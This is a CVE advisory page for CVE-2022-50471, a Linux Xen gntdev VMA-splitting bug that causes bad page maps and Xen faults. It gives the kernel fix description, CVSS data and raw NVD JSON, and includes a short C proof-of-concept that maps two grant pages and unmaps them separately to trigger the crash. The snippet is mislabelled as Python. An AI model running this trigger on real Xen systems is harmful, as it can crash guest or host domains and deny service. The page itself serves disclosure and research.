Security Vulnerability Report
中文
CVE-2022-50471 CVSS 5.5 MEDIUM

CVE-2022-50471

Published: 2025-10-04 16:15:44
Last Modified: 2026-01-23 16:37:32
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: xen/gntdev: Accommodate VMA splitting Prior to this commit, the gntdev driver code did not handle the following scenario correctly with paravirtualized (PV) Xen domains: * User process sets up a gntdev mapping composed of two grant mappings (i.e., two pages shared by another Xen domain). * User process munmap()s one of the pages. * User process munmap()s the remaining page. * User process exits. In the scenario above, the user process would cause the kernel to log the following messages in dmesg for the first munmap(), and the second munmap() call would result in similar log messages: BUG: Bad page map in process doublemap.test pte:... pmd:... page:0000000057c97bff refcount:1 mapcount:-1 \ mapping:0000000000000000 index:0x0 pfn:... ... page dumped because: bad pte ... file:gntdev fault:0x0 mmap:gntdev_mmap [xen_gntdev] readpage:0x0 ... Call Trace: <TASK> dump_stack_lvl+0x46/0x5e print_bad_pte.cold+0x66/0xb6 unmap_page_range+0x7e5/0xdc0 unmap_vmas+0x78/0xf0 unmap_region+0xa8/0x110 __do_munmap+0x1ea/0x4e0 __vm_munmap+0x75/0x120 __x64_sys_munmap+0x28/0x40 do_syscall_64+0x38/0x90 entry_SYSCALL_64_after_hwframe+0x61/0xcb ... For each munmap() call, the Xen hypervisor (if built with CONFIG_DEBUG) would print out the following and trigger a general protection fault in the affected Xen PV domain: (XEN) d0v... Attempt to implicitly unmap d0's grant PTE ... (XEN) d0v... Attempt to implicitly unmap d0's grant PTE ... As of this writing, gntdev_grant_map structure's vma field (referred to as map->vma below) is mainly used for checking the start and end addresses of mappings. However, with split VMAs, these may change, and there could be more than one VMA associated with a gntdev mapping. Hence, remove the use of map->vma and rely on map->pages_vm_start for the original start address and on (map->count << PAGE_SHIFT) for the original mapping size. Let the invalidate() and find_special_page() hooks use these. Also, given that there can be multiple VMAs associated with a gntdev mapping, move the "mmu_interval_notifier_remove(&map->notifier)" call to the end of gntdev_put_map, so that the MMU notifier is only removed after the closing of the last remaining VMA. Finally, use an atomic to prevent inadvertent gntdev mapping re-use, instead of using the map->live_grants atomic counter and/or the map->vma pointer (the latter of which is now removed). This prevents the userspace from mmap()'ing (with MAP_FIXED) a gntdev mapping over the same address range as a previously set up gntdev mapping. This scenario can be summarized with the following call-trace, which was valid prior to this commit: mmap gntdev_mmap mmap (repeat mmap with MAP_FIXED over the same address range) gntdev_invalidate unmap_grant_pages (sets 'being_removed' entries to true) gnttab_unmap_refs_async unmap_single_vma gntdev_mmap (maps the shared pages again) munmap gntdev_invalidate unmap_grant_pages (no-op because 'being_removed' entries are true) unmap_single_vma (For PV domains, Xen reports that a granted page is being unmapped and triggers a general protection fault in the affected domain, if Xen was built with CONFIG_DEBUG) The fix for this last scenario could be worth its own commit, but we opted for a single commit, because removing the gntdev_grant_map structure's vma field requires guarding the entry to gntdev_mmap(), and the live_grants atomic counter is not sufficient on its own to prevent the mmap() over a pre-existing mapping.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 3c6a888e352283a14f37b9b433cd598a1a3a7dd0 (稳定版修复)
Linux Kernel < 4fb4053d90caa9985b87ec0e0c32c66a55bdfa3a (稳定版修复)
Linux Kernel < 5c13a4a0291b30191eff9ead8d010e1ca43a4d0c (稳定版修复)
Linux Kernel < 7c16d0a4e6a436b4e7c92bead3fab55aaa4c1141 (稳定版修复)
Linux Kernel < cdafa219ace013c594e2491158ad1b51f9923dde (稳定版修复)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2022-50471 PoC - gntdev VMA splitting trigger * This PoC demonstrates the vulnerability by creating a gntdev mapping * with two grant pages and performing munmap operations to trigger * the bad page map error and Xen GPF. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <errno.h> // Xen gntdev interface structures #define GNTDEV_MAGIC 'G' #define IOCTL_GNTDEV_MAP_GRANT_REF _IOWR(GNTDEV_MAGIC, 1, struct ioctl_gntdev_map_grant_ref) struct ioctl_gntdev_map_grant_ref { unsigned int count; int domid; unsigned int refs[2]; // Two grant references unsigned int notify_offset; int flags; int map_fd; unsigned long addr; }; int main(int argc, char *argv[]) { int fd; struct ioctl_gntdev_map_grant_ref map_req; void *mapped_addr; unsigned long page_size = sysconf(_SC_PAGESIZE); printf("CVE-2022-50471 PoC - gntdev VMA splitting\n"); // Open gntdev device fd = open("/dev/xen/gntdev", O_RDWR); if (fd < 0) { perror("Failed to open /dev/xen/gntdev"); return 1; } // Setup map request with 2 grant pages memset(&map_req, 0, sizeof(map_req)); map_req.count = 2; map_req.domid = 0; // Same domain for testing map_req.refs[0] = 1; // First grant reference map_req.refs[1] = 2; // Second grant reference map_req.notify_offset = 0; map_req.flags = 1; // GNTDEV_MAP_FLAG_READONLY // Map the grant references if (ioctl(fd, IOCTL_GNTDEV_MAP_GRANT_REF, &map_req) < 0) { perror("ioctl MAP_GRANT_REF failed"); close(fd); return 1; } mapped_addr = (void *)map_req.addr; printf("Mapped at address: %p\n", mapped_addr); // Step 1: munmap first page - triggers bad pte error printf("Unmapping first page...\n"); munmap(mapped_addr, page_size); // Step 2: munmap second page - triggers similar error and Xen GPF printf("Unmapping second page...\n"); munmap((void *)((unsigned long)mapped_addr + page_size), page_size); printf("PoC execution complete. Check dmesg for BUG: Bad page map\n"); close(fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50471", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:43.540", "lastModified": "2026-01-23T16:37:32.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxen/gntdev: Accommodate VMA splitting\n\nPrior to this commit, the gntdev driver code did not handle the\nfollowing scenario correctly with paravirtualized (PV) Xen domains:\n\n* User process sets up a gntdev mapping composed of two grant mappings\n (i.e., two pages shared by another Xen domain).\n* User process munmap()s one of the pages.\n* User process munmap()s the remaining page.\n* User process exits.\n\nIn the scenario above, the user process would cause the kernel to log\nthe following messages in dmesg for the first munmap(), and the second\nmunmap() call would result in similar log messages:\n\n BUG: Bad page map in process doublemap.test pte:... pmd:...\n page:0000000057c97bff refcount:1 mapcount:-1 \\\n mapping:0000000000000000 index:0x0 pfn:...\n ...\n page dumped because: bad pte\n ...\n file:gntdev fault:0x0 mmap:gntdev_mmap [xen_gntdev] readpage:0x0\n ...\n Call Trace:\n <TASK>\n dump_stack_lvl+0x46/0x5e\n print_bad_pte.cold+0x66/0xb6\n unmap_page_range+0x7e5/0xdc0\n unmap_vmas+0x78/0xf0\n unmap_region+0xa8/0x110\n __do_munmap+0x1ea/0x4e0\n __vm_munmap+0x75/0x120\n __x64_sys_munmap+0x28/0x40\n do_syscall_64+0x38/0x90\n entry_SYSCALL_64_after_hwframe+0x61/0xcb\n ...\n\nFor each munmap() call, the Xen hypervisor (if built with CONFIG_DEBUG)\nwould print out the following and trigger a general protection fault in\nthe affected Xen PV domain:\n\n (XEN) d0v... Attempt to implicitly unmap d0's grant PTE ...\n (XEN) d0v... Attempt to implicitly unmap d0's grant PTE ...\n\nAs of this writing, gntdev_grant_map structure's vma field (referred to\nas map->vma below) is mainly used for checking the start and end\naddresses of mappings. However, with split VMAs, these may change, and\nthere could be more than one VMA associated with a gntdev mapping.\nHence, remove the use of map->vma and rely on map->pages_vm_start for\nthe original start address and on (map->count << PAGE_SHIFT) for the\noriginal mapping size. Let the invalidate() and find_special_page()\nhooks use these.\n\nAlso, given that there can be multiple VMAs associated with a gntdev\nmapping, move the \"mmu_interval_notifier_remove(&map->notifier)\" call to\nthe end of gntdev_put_map, so that the MMU notifier is only removed\nafter the closing of the last remaining VMA.\n\nFinally, use an atomic to prevent inadvertent gntdev mapping re-use,\ninstead of using the map->live_grants atomic counter and/or the map->vma\npointer (the latter of which is now removed). This prevents the\nuserspace from mmap()'ing (with MAP_FIXED) a gntdev mapping over the\nsame address range as a previously set up gntdev mapping. This scenario\ncan be summarized with the following call-trace, which was valid prior\nto this commit:\n\n mmap\n gntdev_mmap\n mmap (repeat mmap with MAP_FIXED over the same address range)\n gntdev_invalidate\n unmap_grant_pages (sets 'being_removed' entries to true)\n gnttab_unmap_refs_async\n unmap_single_vma\n gntdev_mmap (maps the shared pages again)\n munmap\n gntdev_invalidate\n unmap_grant_pages\n (no-op because 'being_removed' entries are true)\n unmap_single_vma (For PV domains, Xen reports that a granted page\n is being unmapped and triggers a general protection fault in the\n affected domain, if Xen was built with CONFIG_DEBUG)\n\nThe fix for this last scenario could be worth its own commit, but we\nopted for a single commit, because removing the gntdev_grant_map\nstructure's vma field requires guarding the entry to gntdev_mmap(), and\nthe live_grants atomic counter is not sufficient on its own to prevent\nthe mmap() over a pre-existing mapping."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.38", "versionEndExcluding": "5.10.152", "matchCriteriaId": "191950B6-1DB0-42F7-A98B-D4D93D1673E0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "ver ... (truncated)